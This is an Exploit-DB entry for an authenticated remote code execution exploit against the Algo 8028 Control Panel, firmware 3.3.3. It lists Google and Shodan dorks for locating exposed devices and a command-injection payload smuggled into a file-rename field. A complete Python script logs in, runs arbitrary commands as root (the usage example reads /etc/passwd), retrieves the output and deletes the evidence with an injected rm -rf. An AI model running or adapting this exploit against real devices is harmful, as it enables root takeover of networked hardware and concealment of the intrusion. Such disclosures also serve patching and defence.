Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)

EDB-ID:

50960

CVE:

N/A




Platform:

Hardware

Date:

2022-06-14


# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:"Algo 8028 Control Panel"
# Shodan: title:"Algo 8028 Control Panel"
# Date: 2022-06-07
# Exploit Author: Filip Carlsson
# Vendor Homepage: https://www.algosolutions.com/
# Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/
# Version: 3.3.3
# Tested on: Version 3.3.3
# CVE : N/A
# Exploit:

# Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root
# Request: POST
# Formdata:
# action: rename
# source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"
# target: /

#!/usr/bin/env python3
import sys
import requests

cookie=None

def main():
    # check if provided 3 args
    if len(sys.argv) != 4:
        print_help()
        return
    else:
        host = sys.argv[1]
        password = sys.argv[2]
        command = sys.argv[3]

        if login(host, password):
            # if login was successful, send command
            send_command(host, command)

def print_help():
    print("Usage: algo.py 192.168.1.123 password command")
    print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")

def login(host, password):
    url = f"http://{host}/index.lua"
    data = {"pwd": password}
    res = requests.post(url, data=data)

    # check if html contains "Invalid Password"
    if "Invalid Password" in res.text:
        print("Invalid password")
        return False
    else:
        # save cookie
        global cookie
        cookie = res.cookies
        print("Successfully logged in\n")
        return True

def send_command(host, command):
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}
    res = requests.post(url, data=data, cookies=cookie)

    # get http://host/cmd.txt
    url = f"http://{host}/a.txt"
    res = requests.get(url)

    # if "404 Not Found" in text then command was not executed
    if "404 Not Found" in res.text:
        print("Command was not executed (404)")
    else:
        print(res.text)

    # delete cmd.txt
    url = f"http://{host}/control/fm-data.lua"
    data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}
    requests.post(url, data=data, cookies=cookie)

if __name__ == "__main__":
    main()